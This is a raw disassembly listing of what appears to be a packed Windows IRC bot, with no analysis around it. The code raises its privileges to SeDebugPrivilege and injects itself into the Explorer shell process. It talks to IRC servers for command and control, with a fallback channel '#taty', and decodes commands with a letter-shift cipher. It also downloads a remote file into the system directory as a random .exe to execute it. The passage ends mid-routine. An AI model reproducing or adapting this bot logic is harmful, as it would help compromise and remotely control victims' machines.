loc_31101BB1: ; CODE XREF: sub_31101651+37j mov eax, [ebp+var_C] pop edi pop ebx leave retn sub_31101651 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31101BB8 proc near ; CODE XREF: UPX0:loc_31102E26p var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 1Ch push esi push edi push offset aAdvapi32 ; "advapi32" call dword_311010E0 ; LoadLibraryA mov esi, dword_311010DC mov edi, eax push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi ; GetProcAddress test eax, eax mov [ebp+var_4], eax jz short loc_31101C3C push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi call esi ; GetProcAddress test eax, eax mov [ebp+var_8], eax jz short loc_31101C3C push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi call esi ; GetProcAddress mov esi, eax test esi, esi jz short loc_31101C3C lea eax, [ebp+var_C] push eax push 20h call dword_311010D8 ; GetCurrentProcess push eax call [ebp+var_4] lea eax, [ebp+var_18] mov [ebp+var_1C], 1 push eax push offset aSedebugprivile ; "SeDebugPrivilege" push 0 mov [ebp+var_10], 2 call [ebp+var_8] push 0 push 0 lea eax, [ebp+var_1C] push 10h push eax push 0 push [ebp+var_C] call esi ; GetProcAddress loc_31101C3C: ; CODE XREF: sub_31101BB8+28j ; sub_31101BB8+37j ... pop edi pop esi leave retn sub_31101BB8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31101C40 proc near ; CODE XREF: UPX0:31102E3Ap var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov ecx, ds:dword_3110602C and [ebp+var_4], 0 push ebx push esi mov eax, [ecx+3Ch] push edi add eax, ecx push offset aKernel32 ; "kernel32" mov ecx, [eax+34h] mov edi, [eax+50h] mov [ebp+var_C], ecx call dword_311010EC ; GetModuleHandleA mov esi, dword_311010DC mov ebx, eax push offset aVirtualallocex ; "VirtualAllocEx" push ebx call esi ; GetProcAddress test eax, eax mov [ebp+var_10], eax jnz short loc_31101C87 loc_31101C83: ; CODE XREF: sub_31101C40+54j push 1 jmp short loc_31101CD8 ; --------------------------------------------------------------------------- loc_31101C87: ; CODE XREF: sub_31101C40+41j push offset aCreateremoteth ; "CreateRemoteThread" push ebx call esi ; GetProcAddress test eax, eax mov [ebp+var_14], eax jz short loc_31101C83 push 0 push offset aShell_traywnd ; "Shell_TrayWnd" call dword_31101138 ; FindWindowA test eax, eax jnz short loc_31101CB5 call dword_31101134 ; GetForegroundWindow test eax, eax jnz short loc_31101CB5 push 2 jmp short loc_31101CD8 ; --------------------------------------------------------------------------- loc_31101CB5: ; CODE XREF: sub_31101C40+65j ; sub_31101C40+6Fj lea ecx, [ebp+var_8] push ecx push eax call dword_3110113C ; GetWindowThreadProcessId push [ebp+var_8] push 0 push 42Ah call dword_311010E8 ; OpenProcess mov ebx, eax test ebx, ebx jnz short loc_31101CDB push 3 loc_31101CD8: ; CODE XREF: sub_31101C40+45j ; sub_31101C40+73j pop eax jmp short loc_31101D46 ; --------------------------------------------------------------------------- loc_31101CDB: ; CODE XREF: sub_31101C40+94j push 4 push 3000h push edi push [ebp+var_C] push ebx call [ebp+var_10] mov esi, dword_311010A4 test eax, eax jz short loc_31101D39 lea ecx, [ebp+var_10] push ecx push edi push eax push eax push ebx call dword_311010E4 ; WriteProcessMemory push ds:dword_31106000 call esi ; CloseHandle lea eax, [ebp+var_18] xor edi, edi push eax push edi push 1 push [ebp+arg_0] push edi push edi push ebx call [ebp+var_14] cmp eax, edi jz short loc_31101D25 push eax call esi ; CloseHandle jmp short loc_31101D40 ; --------------------------------------------------------------------------- loc_31101D25: ; CODE XREF: sub_31101C40+DEj push offset aUterm11 ; "uterm11" call sub_31102AC6 pop ecx mov [ebp+var_4], 5 jmp short loc_31101D40 ; --------------------------------------------------------------------------- loc_31101D39: ; CODE XREF: sub_31101C40+B2j mov [ebp+var_4], 4 loc_31101D40: ; CODE XREF: sub_31101C40+E3j ; sub_31101C40+F7j push ebx call esi ; CloseHandle mov eax, [ebp+var_4] loc_31101D46: ; CODE XREF: sub_31101C40+99j pop edi pop esi pop ebx leave retn sub_31101C40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31101D4B proc near ; CODE XREF: sub_31101DD0+25p var_38 = byte ptr -38h var_1C = byte ptr -1Ch arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h push ebx push esi push edi push 6 pop ecx mov esi, offset aAbcdefghijklmn ; "ABCDEFGHIJKLMNOPQRSTUVWXYZ" lea edi, [ebp+var_1C] push 6 rep movsd movsw movsb pop ecx mov esi, offset aAbcdefghijkl_0 ; "abcdefghijklmnopqrstuvwxyz" lea edi, [ebp+var_38] mov ebx, [ebp+arg_4] rep movsd movsw test ebx, ebx movsb jge short loc_31101D7E add ebx, 1Ah loc_31101D7E: ; CODE XREF: sub_31101D4B+2Ej movsx edi, [ebp+arg_0] mov esi, dword_31101118 lea eax, [ebp+var_1C] push edi push eax call esi ; strchr pop ecx test eax, eax pop ecx jz short loc_31101DA8 lea ecx, [ebp+var_1C] push 1Ah sub eax, ecx pop ecx add eax, ebx cdq idiv ecx mov al, [ebp+edx+var_1C] jmp short loc_31101DCB ; --------------------------------------------------------------------------- loc_31101DA8: ; CODE XREF: sub_31101D4B+48j lea eax, [ebp+var_38] push edi push eax call esi ; strchr pop ecx test eax, eax pop ecx jz short loc_31101DC8 lea ecx, [ebp+var_38] push 1Ah sub eax, ecx pop ecx add eax, ebx cdq idiv ecx mov al, [ebp+edx+var_38] jmp short loc_31101DCB ; --------------------------------------------------------------------------- loc_31101DC8: ; CODE XREF: sub_31101D4B+68j mov al, [ebp+arg_0] loc_31101DCB: ; CODE XREF: sub_31101D4B+5Bj ; sub_31101D4B+7Bj pop edi pop esi pop ebx leave retn sub_31101D4B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31101DD0 proc near ; CODE XREF: sub_3110277D+F7p ; sub_3110277D+137p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push esi mov esi, [ebp+arg_8] push edi mov al, [eax] test al, al jz short loc_31101E2B mov edi, [ebp+arg_0] push ebx loc_31101DE5: ; CODE XREF: sub_31101DD0+56j mov bl, al inc [ebp+arg_4] mov eax, esi mov byte ptr [ebp+arg_0], bl neg eax push eax push [ebp+arg_0] call sub_31101D4B mov [edi], al pop ecx inc edi cmp bl, 61h pop ecx jl short loc_31101E0F cmp bl, 7Ah jg short loc_31101E0F movsx esi, bl sub esi, 61h loc_31101E0F: ; CODE XREF: sub_31101DD0+32j ; sub_31101DD0+37j cmp bl, 41h jl short loc_31101E1F cmp bl, 5Ah jg short loc_31101E1F movsx esi, bl sub esi, 41h loc_31101E1F: ; CODE XREF: sub_31101DD0+42j ; sub_31101DD0+47j mov eax, [ebp+arg_4] mov al, [eax] test al, al jnz short loc_31101DE5 pop ebx jmp short loc_31101E2E ; --------------------------------------------------------------------------- loc_31101E2B: ; CODE XREF: sub_31101DD0+Fj mov edi, [ebp+arg_0] loc_31101E2E: ; CODE XREF: sub_31101DD0+59j and byte ptr [edi], 0 pop edi pop esi pop ebp retn sub_31101DD0 endp ; =============== S U B R O U T I N E ======================================= sub_31101E35 proc near ; CODE XREF: UPX0:311024C9p push esi mov esi, ecx push 20001h call sub_311037AE mov [esi+2Ch], eax pop ecx mov eax, esi pop esi retn sub_31101E35 endp ; =============== S U B R O U T I N E ======================================= sub_31101E4A proc near ; CODE XREF: UPX0:31102529p ; UPX0:3110257Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push 27h push [esp+8+arg_0] lea eax, [esi+4] push eax call dword_311010B0 ; lstrcpyn mov eax, [esp+4+arg_4] mov [esi+58h], eax pop esi retn 8 sub_31101E4A endp ; --------------------------------------------------------------------------- loc_31101E68: ; CODE XREF: UPX0:3110386Ej push esi mov esi, ecx lea eax, [esi+4] push eax call sub_311037C2 push dword ptr [esi+2Ch] call sub_311037C2 pop ecx pop ecx pop esi retn ; =============== S U B R O U T I N E ======================================= sub_31101E80 proc near ; CODE XREF: UPX0:31102547p ; UPX0:3110259Ap var_138 = byte ptr -138h var_12C = byte ptr -12Ch var_128 = byte ptr -128h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 138h push ebx push ebp push esi xor ebx, ebx push edi push ebx push 1 mov esi, ecx push 2 call dword_31101180 ; socket mov [esi+5Ch], eax lea eax, [esi+4] push eax call sub_31102B96 mov [esi+64h], eax mov ax, [esi+58h] pop ecx lea edi, [esi+60h] push eax mov word ptr [edi], 2 call dword_31101184 ; htons push 10h push edi push dword ptr [esi+5Ch] mov [esi+62h], ax call dword_31101178 ; connect test eax, eax jnz loc_31102085 push ebx push 20000h push dword ptr [esi+2Ch] push dword ptr [esi+5Ch] call dword_31101198 ; recv cmp eax, 0FFFFFFFFh mov [esi], eax jz loc_31102085 mov ecx, [esi+2Ch] and [ecx+eax], bl push dword ptr [esi+2Ch] mov ecx, esi call sub_311020C2 lea eax, [esp+148h+var_138] push 9 push eax call sub_31102B10 mov ebp, dword_31101130 lea eax, [esp+150h+var_138] push eax lea eax, [esp+154h+var_12C] push offset aPassS ; "PASS %s\r\n" push eax call ebp ; wsprintfA mov edi, dword_311010D4 add esp, 14h push 64h call edi ; Sleep lea eax, [esp+148h+var_12C] push ebx mov ebx, dword_311010D0 push eax call ebx ; lstrlen push eax lea eax, [esp+14Ch+var_128] push eax push dword ptr [esi+5Ch] call dword_3110119C ; send push [esp+148h+arg_0] lea eax, [esp+14Ch+var_12C] push offset aNickS ; "NICK %s\r\n" push eax call ebp ; wsprintfA add esp, 0Ch push 64h call edi ; Sleep lea eax, [esp+148h+var_12C] push 0 push eax call ebx ; lstrlen push eax lea eax, [esp+14Ch+var_128] push eax push dword ptr [esi+5Ch] call dword_3110119C ; send push 0 push 20000h push dword ptr [esi+2Ch] push dword ptr [esi+5Ch] call dword_31101198 ; recv cmp eax, 0FFFFFFFFh mov [esi], eax jz loc_31102085 mov ecx, [esi+2Ch] push 64h and byte ptr [ecx+eax], 0 call edi ; Sleep loc_31101FA9: ; CODE XREF: sub_31101E80+1ADj push dword ptr [esi+2Ch] mov ecx, esi call sub_311020C2 push offset aAlready ; "already" push dword ptr [esi+2Ch] call dword_31101114 ; strstr pop ecx test eax, eax pop ecx jz short loc_31102032 push [esp+148h+arg_4] push [esp+14Ch+arg_0] call sub_31102B10 push [esp+150h+arg_0] lea eax, [esp+154h+var_12C] push offset aNickS ; "NICK %s\r\n" push eax call ebp ; wsprintfA add esp, 14h push 64h call edi ; Sleep lea eax, [esp+148h+var_12C] push 0 push eax call ebx ; lstrlen push eax lea eax, [esp+14Ch+var_128] push eax push dword ptr [esi+5Ch] call dword_3110119C ; send push 0 push 20000h push dword ptr [esi+2Ch] push dword ptr [esi+5Ch] call dword_31101198 ; recv cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_31102085 mov ecx, [esi+2Ch] and byte ptr [ecx+eax], 0 jmp loc_31101FA9 ; --------------------------------------------------------------------------- loc_31102032: ; CODE XREF: sub_31101E80+145j push [esp+148h+arg_8] lea eax, [esp+14Ch+var_12C] push [esp+14Ch+arg_0] push offset aUserS8S ; "USER %s 8 * :%s\r\n" push eax call ebp ; wsprintfA add esp, 10h push 64h call edi ; Sleep xor edi, edi lea eax, [esp+148h+var_12C] push edi push eax call ebx ; lstrlen push eax lea eax, [esp+14Ch+var_128] push eax push dword ptr [esi+5Ch] call dword_3110119C ; send push edi push 20000h push dword ptr [esi+2Ch] push dword ptr [esi+5Ch] call dword_31101198 ; recv cmp eax, 0FFFFFFFFh mov [esi], eax jnz short loc_31102093 loc_31102085: ; CODE XREF: sub_31101E80+4Ej ; sub_31101E80+6Bj ... push dword ptr [esi+5Ch] call dword_31101194 ; closesocket push 1 pop eax jmp short loc_311020B5 ; --------------------------------------------------------------------------- loc_31102093: ; CODE XREF: sub_31101E80+203j mov ecx, [esi+2Ch] and byte ptr [ecx+eax], 0 push dword ptr [esi+2Ch] mov ecx, esi call sub_311020C2 mov [esi+284h], edi mov [esi+7Ch], edi mov [esi+70h], edi mov [esi+74h], edi xor eax, eax loc_311020B5: ; CODE XREF: sub_31101E80+211j pop edi pop esi pop ebp pop ebx add esp, 138h retn 0Ch sub_31101E80 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_311020C2 proc near ; CODE XREF: sub_31101E80+7Cp ; sub_31101E80+12Ep ... var_190 = byte ptr -190h var_64 = byte ptr -64h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h push ebx push esi push edi push offset aPing ; "PING" push [ebp+arg_0] mov ebx, ecx call dword_31101114 ; strstr pop ecx test eax, eax pop ecx jz short loc_3110213C mov esi, dword_311010D0 lea edi, [eax+4] push edi call esi ; lstrlen dec eax cmp eax, 63h jle short loc_311020FB push 1 pop eax jmp short loc_3110213E ; --------------------------------------------------------------------------- loc_311020FB: ; CODE XREF: sub_311020C2+32j push eax lea eax, [ebp+var_64] push edi push eax call dword_311010B0 ; lstrcpyn lea eax, [ebp+var_64] push eax lea eax, [ebp+var_190] push offset aPongS ; "PONG%s\r\n" push eax call dword_31101130 ; wsprintfA add esp, 0Ch lea eax, [ebp+var_190] push 0 push eax call esi ; lstrlen push eax lea eax, [ebp+var_190] push eax push dword ptr [ebx+5Ch] call dword_3110119C ; send loc_3110213C: ; CODE XREF: sub_311020C2+20j xor eax, eax loc_3110213E: ; CODE XREF: sub_311020C2+37j pop edi pop esi pop ebx leave retn 4 sub_311020C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31102145 proc near ; CODE XREF: UPX0:311025E8p var_12C = byte ptr -12Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 12Ch push esi push edi push [ebp+arg_0] lea eax, [ebp+var_12C] mov esi, ecx push offset aJoinS ; "JOIN %s\r\n" push eax call dword_31101130 ; wsprintfA mov edi, dword_311010D4 add esp, 0Ch push 64h call edi ; Sleep lea eax, [ebp+var_12C] push 0 push eax call dword_311010D0 ; lstrlen push eax lea eax, [ebp+var_12C] push eax push dword ptr [esi+5Ch] call dword_3110119C ; send push 64h call edi ; Sleep push 0 push 20000h push dword ptr [esi+2Ch] push dword ptr [esi+5Ch] call dword_31101198 ; recv mov ecx, [esi+2Ch] mov [esi], eax and byte ptr [ecx+eax], 0 mov eax, [esi] cmp eax, 0FFFFFFFFh jz short loc_3110220E test eax, eax jz short loc_3110220E push 64h call edi ; Sleep push dword ptr [esi+2Ch] mov ecx, esi call sub_311020C2 mov edi, dword_31101114 push offset a451 ; "451" push dword ptr [esi+2Ch] call edi ; strstr pop ecx test eax, eax pop ecx jz short loc_311021E7 push 3 jmp short loc_31102210 ; --------------------------------------------------------------------------- loc_311021E7: ; CODE XREF: sub_31102145+9Cj push offset aPing ; "PING" push dword ptr [esi+2Ch] call edi ; strstr pop ecx test eax, eax pop ecx jz short loc_311021FB push 4 jmp short loc_31102210 ; --------------------------------------------------------------------------- loc_311021FB: ; CODE XREF: sub_31102145+B0j push 23h add esi, 30h push [ebp+arg_0] push esi call dword_311010B0 ; lstrcpyn xor eax, eax jmp short loc_31102211 ; --------------------------------------------------------------------------- loc_3110220E: ; CODE XREF: sub_31102145+74j ; sub_31102145+78j push 2 loc_31102210: ; CODE XREF: sub_31102145+A0j ; sub_31102145+B4j pop eax loc_31102211: ; CODE XREF: sub_31102145+C7j pop edi pop esi leave retn 4 sub_31102145 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31102217 proc near ; CODE XREF: sub_31102280+83p ; UPX0:31102644p var_14C = byte ptr -14Ch var_20 = byte ptr -20h push ebp mov ebp, esp sub esp, 14Ch push esi mov esi, ecx call dword_31101128 ; rand sub eax, 3 and eax, 7 push eax lea eax, [ebp+var_20] push eax call sub_31102B10 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14C] push offset aQuitS ; "QUIT %s\r\n" push eax call dword_31101130 ; wsprintfA add esp, 14h lea eax, [ebp+var_14C] push 0 push eax call dword_311010D0 ; lstrlen push eax lea eax, [ebp+var_14C] push eax push dword ptr [esi+5Ch] call dword_3110119C ; send push dword ptr [esi+5Ch] call dword_31101194 ; closesocket xor eax, eax pop esi leave retn sub_31102217 endp ; =============== S U B R O U T I N E ======================================= sub_31102280 proc near ; CODE XREF: UPX0:3110262Cp mov eax, offset loc_3110385C call sub_31103830 sub esp, 110h push ebx push esi push edi mov edi, dword_311010F0 mov esi, ecx mov [ebp-10h], esp mov [ebp-14h], esi call edi ; GetTickCount mov [ebp-18h], eax mov eax, [esi+5Ch] mov dword ptr [ebp-11Ch], 1 mov [ebp-118h], eax xor ebx, ebx loc_311022BB: ; CODE XREF: sub_31102280+EFj call sub_31102C10 test eax, eax jz short loc_31102308 push ebx push ebx lea eax, [ebp-11Ch] push ebx push eax push 1 call dword_31101170 ; select cmp eax, 0FFFFFFFFh jz short loc_31102308 call sub_31102E4E test eax, eax jz short loc_311022EC push 1 call dword_311010BC ; ExitThread loc_311022EC: ; CODE XREF: sub_31102280+62j mov [ebp-4], ebx call edi ; GetTickCount mov ecx, [ebp+8] sub eax, [ebp-18h] imul ecx, 0EA60h cmp eax, ecx jbe short loc_3110231B mov ecx, esi call sub_31102217 loc_31102308: ; CODE XREF: sub_31102280+42j ; sub_31102280+59j ... xor eax, eax loc_3110230A: ; CODE XREF: sub_31102280+109j mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_3110231B: ; CODE XREF: sub_31102280+7Fj push ebx push 20000h push dword ptr [esi+2Ch] push dword ptr [esi+5Ch] call dword_31101198 ; recv cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_31102386 mov ecx, [esi+2Ch] push 64h mov [ecx+eax], bl call dword_311010D4 ; Sleep push dword ptr [esi+2Ch] mov ecx, esi call sub_311020C2 push dword ptr [esi+2Ch] mov ecx, esi call sub_3110277D cmp eax, ebx jnz short loc_31102308 or dword ptr [ebp-4], 0FFFFFFFFh call sub_31102C10 test eax, eax jz short loc_31102308 push 64h call dword_311010D4 ; Sleep jmp loc_311022BB ; --------------------------------------------------------------------------- loc_31102374: ; DATA XREF: UPX0:311038D4o mov eax, [ebp-14h] push dword ptr [eax+5Ch] call dword_31101194 ; closesocket mov eax, offset loc_31102386 retn ; --------------------------------------------------------------------------- loc_31102386: ; CODE XREF: sub_31102280+B2j ; DATA XREF: sub_31102280+100o push 1 pop eax jmp loc_3110230A sub_31102280 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3110238E proc near ; CODE XREF: sub_3110277D+9Cp ; sub_3110277D+2B7p var_12C = byte ptr -12Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 12Ch push ebx push esi mov esi, dword_311010D0 push edi push [ebp+arg_0] mov edi, ecx call esi ; lstrlen push [ebp+arg_4] mov ebx, eax call esi ; lstrlen add ebx, eax cmp ebx, 10Eh jle short loc_311023BD push 1 pop eax jmp short loc_311023FE ; --------------------------------------------------------------------------- loc_311023BD: ; CODE XREF: sub_3110238E+28j push [ebp+arg_4] lea eax, [ebp+var_12C] push [ebp+arg_0] push offset aPrivmsgSS ; "PRIVMSG %s %s\r\n" push eax call dword_31101130 ; wsprintfA add esp, 10h push 64h call dword_311010D4 ; Sleep lea eax, [ebp+var_12C] push 0 push eax call esi ; lstrlen push eax lea eax, [ebp+var_12C] push eax push dword ptr [edi+5Ch] call dword_3110119C ; send xor eax, eax loc_311023FE: ; CODE XREF: sub_3110238E+2Dj pop edi pop esi pop ebx leave retn 8 sub_3110238E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31102405 proc near ; CODE XREF: UPX0:311024DFp var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h lea eax, [ebp+var_10] push eax call dword_311010A0 ; GetSystemTime movzx eax, [ebp+var_10] movzx ecx, [ebp+var_E] lea eax, [eax+eax*2] add eax, ecx movzx ecx, [ebp+var_A] add eax, ecx push eax call dword_31101108 ; srand mov eax, [ebp+arg_0] push 7 mov byte ptr [eax], 23h inc eax push eax call sub_31102B10 push 8 push [ebp+arg_4] call sub_31102B10 add esp, 14h call dword_31101128 ; rand push 1Ah cdq pop ecx idiv ecx mov eax, [ebp+arg_8] mov [eax], edx call sub_31102A98 leave retn sub_31102405 endp ; --------------------------------------------------------------------------- loc_31102463: ; DATA XREF: sub_31102E62+D6o mov eax, offset loc_31103873 call sub_31103830 sub esp, 2E8h push ebx push esi xor ebx, ebx push edi mov dword_31105FC8, ebx call sub_31102A98 mov esi, dword_31101128 call esi ; rand push 4 cdq pop ecx idiv ecx lea eax, [ebp-4Ch] add edx, ecx push edx push eax call sub_31102B10 cmp ds:dword_3110603C, ebx mov edi, dword_31101090 pop ecx pop ecx jz short loc_311024B8 lea eax, [ebp-4Ch] push offset a_ ; "_" push eax call edi ; lstrcat loc_311024B8: ; CODE XREF: UPX0:311024ABj lea eax, [ebp-4Ch] push offset a11 ; "11" push eax call edi ; lstrcat lea ecx, [ebp-2F4h] call sub_31101E35 mov [ebp-4], ebx loc_311024D1: ; CODE XREF: UPX0:31102638j ; UPX0:3110265Ej push offset dword_31105FCC lea eax, [ebp-18h] push offset dword_31105FD0 push eax call sub_31102405 add esp, 0Ch loc_311024E7: ; CODE XREF: UPX0:311024FBj call sub_31102C10 test eax, eax jnz short loc_311024FD push 3E8h call dword_311010D4 ; Sleep jmp short loc_311024E7 ; --------------------------------------------------------------------------- loc_311024FD: ; CODE XREF: UPX0:311024EEj xor ebx, ebx call esi ; rand push 7 cdq pop ecx idiv ecx lea eax, [ebp-6Ch] add edx, 5 push edx push eax call sub_31102B10 pop ecx xor edi, edi pop ecx loc_31102518: ; CODE XREF: UPX0:31102554j push 1A0Bh lea ecx, [ebp-2F4h] push off_31105BC0 call sub_31101E4A lea eax, [ebp-6Ch] push eax lea eax, [ebp-4Ch] push eax call dword_311010D0 ; lstrlen push eax lea eax, [ebp-4Ch] push eax lea ecx, [ebp-2F4h] call sub_31101E80 test eax, eax jz short loc_311025AB inc edi cmp edi, 8 jl short loc_31102518 xor edi, edi loc_31102558: ; CODE XREF: UPX0:311025A7j call sub_31102C10 test eax, eax jz short loc_311025B9 push 1A0Bh call esi ; rand push 0Ch xor edx, edx pop ecx div ecx lea ecx, [ebp-2F4h] push off_31105BC0[edx*4] call sub_31101E4A lea eax, [ebp-6Ch] push eax lea eax, [ebp-4Ch] push eax call dword_311010D0 ; lstrlen push eax lea eax, [ebp-4Ch] push eax lea ecx, [ebp-2F4h] call sub_31101E80 test eax, eax jz short loc_311025B6 inc edi cmp edi, 30h jb short loc_31102558 jmp short loc_311025B9 ; --------------------------------------------------------------------------- loc_311025AB: ; CODE XREF: UPX0:3110254Ej push 1 pop ebx mov dword_31105FC8, ebx jmp short loc_311025C2 ; --------------------------------------------------------------------------- loc_311025B6: ; CODE XREF: UPX0:311025A1j push 1 pop ebx loc_311025B9: ; CODE XREF: UPX0:3110255Fj ; UPX0:311025A9j cmp dword_31105FC8, 0 jz short loc_311025D1 loc_311025C2: ; CODE XREF: UPX0:311025B4j lea eax, [ebp-18h] push offset aTaty ; "#taty" push eax call dword_31101094 ; lstrcpy loc_311025D1: ; CODE XREF: UPX0:311025C0j test ebx, ebx jz short loc_31102649 call sub_31102C10 test eax, eax jz short loc_31102649 loc_311025DE: ; CODE XREF: UPX0:31102603j lea eax, [ebp-18h] lea ecx, [ebp-2F4h] push eax call sub_31102145 test eax, eax jz short loc_31102605 push 3E8h call dword_311010D4 ; Sleep call sub_31102C10 test eax, eax jnz short loc_311025DE loc_31102605: ; CODE XREF: UPX0:311025EFj cmp dword_31105FC8, 0 jz short loc_31102615 mov edx, 0A8C0h jmp short loc_31102625 ; --------------------------------------------------------------------------- loc_31102615: ; CODE XREF: UPX0:3110260Cj call esi ; rand cdq mov ecx, 1F4h idiv ecx add edx, 578h loc_31102625: ; CODE XREF: UPX0:31102613j push edx lea ecx, [ebp-2F4h] call sub_31102280 call sub_31102C10 test eax, eax jz loc_311024D1 lea ecx, [ebp-2F4h] call sub_31102217 loc_31102649: ; CODE XREF: UPX0:311025D3j ; UPX0:311025DCj call esi ; rand push 0Ah cdq pop ecx idiv ecx imul edx, 0EA60h push edx call dword_311010D4 ; Sleep jmp loc_311024D1 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31102663 proc near ; CODE XREF: sub_3110277D+5Ep var_110 = byte ptr -110h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 110h push ebx push esi xor esi, esi push edi push esi push esi push esi push 1 push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... call dword_31101144 ; InternetOpenA mov ebx, eax cmp ebx, esi jnz short loc_3110268E push 1 jmp loc_31102724 ; --------------------------------------------------------------------------- loc_3110268E: ; CODE XREF: sub_31102663+22j lea eax, [ebp+var_110] push 104h push eax call dword_311010B8 ; GetSystemDirectoryA mov edi, dword_31101090 lea eax, [ebp+var_110] push offset asc_31105DCC ; "\\" push eax call edi ; lstrcat lea eax, [ebp+var_110] push 6 push eax call dword_311010D0 ; lstrlen lea eax, [ebp+eax+var_110] push eax call sub_31102B10 pop ecx lea eax, [ebp+var_110] pop ecx push offset a_exe ; ".exe" push eax call edi ; lstrcat push esi push esi push 2 push esi push esi lea eax, [ebp+var_110] push 40000000h push eax call dword_311010AC ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_31102704 push 2 jmp short loc_31102724 ; --------------------------------------------------------------------------- loc_31102704: ; CODE XREF: sub_31102663+9Bj push esi push esi push esi push esi push [ebp+arg_0] push ebx call dword_3110114C ; InternetOpenUrlA cmp eax, esi mov [ebp+arg_0], eax jnz short loc_31102727 push [ebp+var_4] call dword_311010A4 ; CloseHandle push 3 loc_31102724: ; CODE XREF: sub_31102663+26j ; sub_31102663+9Fj pop eax jmp short loc_31102778 ; --------------------------------------------------------------------------- loc_31102727: ; CODE XREF: sub_31102663+B4j mov edi, 100000h push edi call sub_311037AE mov ebx, eax pop ecx lea eax, [ebp+var_8] push eax push edi push ebx push [ebp+arg_0] call dword_31101150 ; InternetReadFile lea eax, [ebp+var_C] push esi push eax push [ebp+var_8] push ebx push [ebp+var_4] call dword_311010A8 ; WriteFile push [ebp+var_4] call dword_311010A4 ; CloseHandle lea eax, [ebp+var_110] push 5 push eax call sub_31102B40 push ebx call sub_311037C2 add esp, 0Ch xor eax, eax loc_31102778: ; CODE XREF: sub_31102663+C2j pop edi pop esi pop ebx leave retn sub_31102663 endp ; =============== S U B R O U T I N E ======================================= sub_3110277D proc near ; CODE XREF: sub_31102280+D1p var_2CC = dword ptr -2CCh var_2C8 = byte ptr -2C8h var_264 = byte ptr -264h var_200 = byte ptr -200h var_100 = byte ptr -100h var_FF = byte ptr -0FFh arg_0 = dword ptr 4 sub esp, 2CCh push ebx push ebp push esi push edi push offset dword_31105FD0 mov esi, ecx push [esp+2E0h+arg_0] call dword_31101114 ; strstr mov edi, dword_311010F0 pop ecx mov ebx, eax pop ecx mov [esp+2DCh+var_2CC], ebx call edi ; GetTickCount sub eax, [esi+70h] cmp eax, 927C0h jbe short loc_311027BC and dword ptr [esi+284h], 0 loc_311027BC: ; CODE XREF: sub_3110277D+36j cmp dword ptr [esi+7Ch], 0 jz short loc_3110281E call edi ; GetTickCount mov ecx, [esi+78h] sub eax, [esi+74h] imul ecx, 3E8h cmp eax, ecx jbe short loc_3110281E lea eax, [esi+180h] push eax call sub_31102663 test eax, eax pop ecx jnz short loc_3110281E call edi ; GetTickCount push dword ptr [esi+78h] and dword ptr [esi+7Ch], 0 mov [esi+70h], eax lea eax, [esp+2E0h+var_2C8] push offset a1D ; "-1,%d" push eax mov dword ptr [esi+284h], 1 call dword_31101130 ; wsprintfA add esp, 0Ch lea eax, [esp+2DCh+var_2C8] mov ecx, esi push eax lea eax, [esi+30h] push eax call sub_3110238E loc_3110281E: ; CODE XREF: sub_3110277D+43j ; sub_3110277D+55j ... test ebx, ebx jz loc_31102A5C push ebx call dword_311010D0 ; lstrlen cmp eax, 0Ah jle loc_31102A5C mov ebp, dword_31101118 add ebx, 8 push 7Ch push ebx call ebp ; strchr mov edi, eax pop ecx test edi, edi pop ecx jz loc_31102A5C and byte ptr [edi], 0 push ebx call dword_311010D0 ; lstrlen cmp eax, 100h jge loc_31102A89 push dword_31105FCC lea eax, [esp+2E0h+var_200] push ebx push eax call sub_31101DD0 lea ebx, [edi+1] push 7Ch push ebx mov byte ptr [edi], 7Ch call ebp ; strchr mov edi, eax add esp, 14h test edi, edi jz loc_31102A5C and byte ptr [edi], 0 push ebx call dword_311010D0 ; lstrlen cmp eax, 100h jge loc_31102A89 push dword_31105FCC lea eax, [esi+180h] push ebx push eax call sub_31101DD0 add esp, 0Ch lea eax, [esp+2DCh+var_200] push offset aE ; "e" push eax call dword_31101088 